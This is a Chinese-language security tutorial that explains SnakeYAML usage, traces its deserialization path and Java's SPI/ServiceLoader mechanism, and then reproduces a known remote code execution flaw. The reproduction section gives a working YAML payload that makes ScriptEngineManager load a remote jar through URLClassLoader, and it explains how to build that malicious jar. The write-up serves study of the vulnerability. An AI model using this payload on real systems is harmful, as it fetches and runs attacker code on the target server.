Snake Yaml介绍

Snake Yaml是用于来解析Yaml格式,可用于Java对象的序列化和反序列化。

Snake Yaml简单使用

导入maven依赖

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.27</version>
</dependency>

常用方法

String	dump(Object data)    //将Java对象序列化为YAML字符串。
Yaml.load()					//入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象
    
//还有其他的同理 看看源码就好了。

这里写一个User对象

@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
    String name;
    int age;
}

写一个yaml_test类

public class yaml {
    public static void main(String[] args) {
        User user = new User();
        user.setName("r0ser1");
        Yaml yaml = new Yaml();
        String s = yaml.dump(user);
        System.out.println(s);
        User user1 = yaml.load(s);
        System.out.println(user1.getName());
    }
}

结果

!!com.demo.pojo.User {age: 0, name: BlBana}

r0ser1

!!呢就是用于强制类型转换,和fastjson的@type有点相似?都是指定反序列化的类名。

Snake Yaml反序列化过程

根据上面的demo和用法,我们在load下断点。load会直接到loadFromReader

java 反序列化string java 反序列化 yaml_java 反序列化string


调用BaseConstructor类的getSingleData方法获取yaml实例

java 反序列化string java 反序列化 yaml_User_02


然后首先调用getSingleNode将yaml转为node对象。然后走到constructDocument

java 反序列化string java 反序列化 yaml_Java_03


进入constructDocument走到constructObjectNoCheck函数

java 反序列化string java 反序列化 yaml_Java_04


走到229行,获取data数据

java 反序列化string java 反序列化 yaml_java_05


里面大致调用就是首先根据node对象 调用构造函数去寻找他的类型,调用有参构造

java 反序列化string java 反序列化 yaml_java_06


拿到这个对象并且返回给obj

java 反序列化string java 反序列化 yaml_User_07


继续调用constructJavaBean2ndStepmnode也其实就是类型换成了MappingNode的node

java 反序列化string java 反序列化 yaml_Java_08


然后调用node.getValue获取对象的值然后继续调用constructObject构造对象Value。然后再后面调用property.set进行属性设置

java 反序列化string java 反序列化 yaml_User_09


java 反序列化string java 反序列化 yaml_Java_10


然后进行setName进行赋值操作。下图是调用链

java 反序列化string java 反序列化 yaml_Java_11

SPI介绍

因为漏洞用到的类设计SPI机制,这里先学习一下SPI机制

SPI机制

SPI是Java提供的一套用于来被第三方实现或者扩展的API,他可以用于框架的扩展或者替换组件,例如我们有多个数据库,我们如果要换的话就必须改动代码。但是我们如果弄一个统一的接口进行调用。Java只需要去寻找接口服务实现类就好了。核心思想也就是解耦。

java 反序列化string java 反序列化 yaml_User_12


使用介绍:

当服务的提供者提供了一种接口的实现之后,需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候,就可以通过查找这个jar包(一般都是以jar包做依赖)的META-INF/services/中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化,就可以使用该服务了。JDK中查找服务的实现的工具类是:java.util.ServiceLoader

SPI学习来自:https://pdai.tech/md/java/advanced/java-advanced-spi.html,里面有案例的实现。这里举一下例子吧。

SPI简单使用

根据上面知识我们简单写两个类模拟数据库
DataSoure接口

package spi;

public interface DataSoure {
    void Driver();
}

Mysql类

package spi;

public class Mysql implements DataSoure {
    @Override
    public void Driver() {
        System.out.println("Mysql");
    }
}

Oracle类

package spi;

public class Oracle implements DataSoure {
    @Override
    public void Driver() {
        System.out.println("Oracle");
    }
}

Test类

package spi;

import java.util.Iterator;
import java.util.ServiceLoader;

public class test {
    public static void main(String[] args) {
        ServiceLoader<DataSoure> load = ServiceLoader.load(DataSoure.class);
        Iterator<DataSoure> iterator = load.iterator();
        iterator.next().Driver();
    }
}

选择Mysql类

java 反序列化string java 反序列化 yaml_java 反序列化string_13


java 反序列化string java 反序列化 yaml_User_14


JDBC底层也是通过这种方式来实现的。

java 反序列化string java 反序列化 yaml_java 反序列化string_15


java 反序列化string java 反序列化 yaml_User_16


所以Java连接各种驱动的时候只要添加java.sql.Driver实现接口,然后Java的SPI机制可以为某个接口寻找服务实现,就实现了各种数据库的驱动连接。

SPI原理调试

还是上面的代码从第一步开始调试。进入load之后,我们跟进ServiceLoader.load(service, cl);发现实例化new ServiceLoader<>(service, loader);继续跟进

java 反序列化string java 反序列化 yaml_Java_17


就是获取一些service和加载类和当前线程的ClassLoader然后进入reload()

java 反序列化string java 反序列化 yaml_Java_18


返回一个LazyIterator的实例,然后返回到主函数我们进行迭代。

java 反序列化string java 反序列化 yaml_java 反序列化string_19


然后调用hasNext()>nextService()->hasNextService()

java 反序列化string java 反序列化 yaml_java_20


然后进行这个资源的加载,然后里面有个迭代器获取名称。赋值给nextName然后返回到nextService

java 反序列化string java 反序列化 yaml_Java_21


然后通过反射加载这个类,然后再380行实例化这个对象并且返回。然后回到主函数去调用Driver这个方法。

java 反序列化string java 反序列化 yaml_java 反序列化string_22


流程下来我们知道了如果load可控加载恶意的接口实习类。然后控制Jar包中的META-INF/services目录中的SPI配置文件,我们就可以服务器通过SPI机制调用恶意类达到恶意代码执行的效果。

漏洞复现

POC脚本https://github.com/artsploit/yaml-payload

脚本也比较简单,实现ScriptEngineFactory接口,然后在静态代码块处填写需要执行的命令,打包成Jar包放在WEB服务器上就好了。

java 反序列化string java 反序列化 yaml_java_23

import org.yaml.snakeyaml.Yaml;

public class yaml {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }
}

java 反序列化string java 反序列化 yaml_java 反序列化string_24

漏洞分析

因为前面说到了用到了SPI机制。那我们得思考哪里用到了ServiceLoader.load。所以我们得注意这个。根据上面代码load处下断点。前面基本都一样,解析遍历yaml数据,然后使用不同的构造器进行反序列化对象

这里不记录了。到最后一个ScriptEngineManager类对象开始有所不同,调用了newInstance(argumentList)。可以看到传入的是URLClassLoader

java 反序列化string java 反序列化 yaml_User_25


java 反序列化string java 反序列化 yaml_java 反序列化string_26


调用有参->init()->initEngines()->getServiceLoader->ServiceLoader.load

最后进行了遍历然后和上面调试过程一样。实例化对象调用无参构造,然后执行我们的恶意代码。

java 反序列化string java 反序列化 yaml_Java_27


希望静有所思,思有所想!

参考链接

https://github.com/artsploit/yaml-payload/